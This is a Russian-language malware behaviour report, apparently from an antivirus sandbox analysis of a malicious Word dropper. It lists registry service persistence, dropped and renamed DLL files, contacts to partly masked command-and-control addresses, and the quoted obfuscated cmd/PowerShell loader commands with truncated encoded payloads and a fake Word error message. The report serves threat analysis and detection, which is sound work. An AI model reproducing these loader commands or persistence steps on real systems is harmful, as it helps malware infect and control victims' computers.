Техническая информация
Для обеспечения автозапуска и распространения
Устанавливает следующие настройки сервисов
- [<HKLM>\System\CurrentControlSet\Services\zcllhclj.hie] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\zcllhclj.hie] 'ImagePath' = '%WINDIR%\SysWOW64\rundll32.exe "%WINDIR%\SysWOW64\Bppkgkhty\zcllhclj.hie",gMvZTA'
Создает следующие сервисы
- 'zcllhclj.hie' %WINDIR%\SysWOW64\rundll32.exe "%WINDIR%\SysWOW64\Bppkgkhty\zcllhclj.hie",gMvZTA
Вредоносные функции
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -w hidden -enc JAAxAE0AWgAgACAAPQAgAFsAVAB5AHAARQBdACgAIgB7ADMAfQB7ADIAfQB7ADEAfQB7ADAAfQB7ADQAfQAiAC0AZgAnAC4AaQBvAC4AZABpAFIAJwAsACcAUwB0AGUAbQAnACwAJwBZACcALAAnAHMAJwAsACcAZQBDA...
Изменения в файловой системе
Создает следующие файлы
- %HOMEPATH%\r_qc9st\sp71w9e\r49d.dll
Перемещает следующие файлы
- %HOMEPATH%\r_qc9st\sp71w9e\r49d.dll в %WINDIR%\syswow64\bppkgkhty\zcllhclj.hie
Сетевая активность
Подключается к
- '84.##2.229.24':80
TCP
Запросы HTTP GET
- http://or###npart.com/wp-content/acStl/
Запросы HTTP POST
- http://84.##2.229.24/obpxtzhxuob7vjsk097/ryrae/w7na5cwtcm1bkw2/tuuxzdkg6/
UDP
- DNS ASK or###npart.com
Другое
Запускает на исполнение
- '<SYSTEM32>\cmd.exe' cmd /c m^s^g %username% /v Wo^rd exp^erien^ced an er^ror tryi^ng to op^en th^e fi^le. & p^owe^rs^he^ll^ -w hi^dd^en -^e^nc JAAxAE0AWgAgACAAPQAgAFsAVAB5AHAARQBdACgAIgB7ADMAfQB7ADIAf...
- '<SYSTEM32>\msg.exe' user /v Word experienced an error trying to open the file.
- '<SYSTEM32>\rundll32.exe' %HOMEPATH%\R_qc9st\Sp71w9e\R49D.dll AnyString
- '%WINDIR%\syswow64\rundll32.exe' "%HOMEPATH%\R_qc9st\Sp71w9e\R49D.dll",#1
- '%WINDIR%\syswow64\rundll32.exe' "%WINDIR%\SysWOW64\Bppkgkhty\zcllhclj.hie",pUClemTcbGcS
- '%WINDIR%\syswow64\rundll32.exe' "%WINDIR%\SysWOW64\Bppkgkhty\zcllhclj.hie",#1
